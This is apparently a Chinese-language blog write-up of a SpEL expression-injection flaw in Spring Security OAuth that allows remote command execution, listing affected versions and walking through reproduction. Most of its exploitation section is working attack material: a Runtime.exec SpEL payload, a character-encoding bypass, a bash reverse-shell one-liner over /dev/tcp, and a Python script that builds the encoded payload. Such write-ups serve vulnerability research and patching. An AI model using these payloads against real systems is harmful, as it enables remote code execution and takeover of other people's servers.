0x01 背景

Spring Security OAuth是为Spring框架提供安全认证支持的一个模块，在7月5日其维护者发布了这样一个升级公告，主要说明在用户使用Whitelabel views来处理错误时，攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。漏洞的发现者在10月13日公开了该漏洞的挖掘记录。

SpEL表达式注入！

（1）受影响版本

org.springframework.security.oauth - spring-security-oauth2

2.0.0 to 2.0.9
1.0.0 to 1.0.5

到maven仓库看了看，发现2.0.X是2016年2月发的包，也就是说发布后半年左右被挖出来有漏洞。从这一点，我们也能得出一个结论：黑客并不是时时刻刻在关注官方更新，也就是说：真实世界的0day漏洞，总是有机会被你挖到的。

而1.X是全系有漏洞。

0x02 漏洞复现

（1）小坑

既然是SpEL注入，那尝试直接执行命令吧。下面是尝试执行id命令的结果

${T(String).forName("java.lang.Runtime").getRuntime().exec('id')}

很奇怪——并没有回显，也并不像执行成功了的样子，具体原因，咱们再后续分析的时候跟进一下，此处先按住不表。

（2）绕过

既然由于某种原因，无法直接执行命令，于是考虑采用ASCII码来绕过，类似于JS中的String.fromCharCode(65) => "A"

T(java.lang.Character).toString(65)	=> 'A'

接着，命令不止一个字母——需要将一个个字母连接起来，利用.concat()函数，

T(Character).toString(65).concat(T(Character).toString(66)) => 'AB'

（3）Exploit

由于Java下面exec函数对空格的解析原因，反弹shell的命令要转换一下。

参考阅读
绕过exec获取反弹shell | Spoock
调用java.lang.Runtime.exec的正确姿势_白衣-CSDN博客

目前有两种简便易行的办法。方法一，使用${IFS}替代三处空格。

bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/443 0>&1

方法二，在这里编码你要执行的命令

通过上面的编码之后，再用下面的PoC.py进行编码、发送即可

#!/usr/bin/env python
# plz base64_encode the payload via {http://www.jackson-t.ca/runtime-exec-payloads.html}
payload

payload = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(payload[0])

for ch in payload[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 
poc += ')}'
print(poc)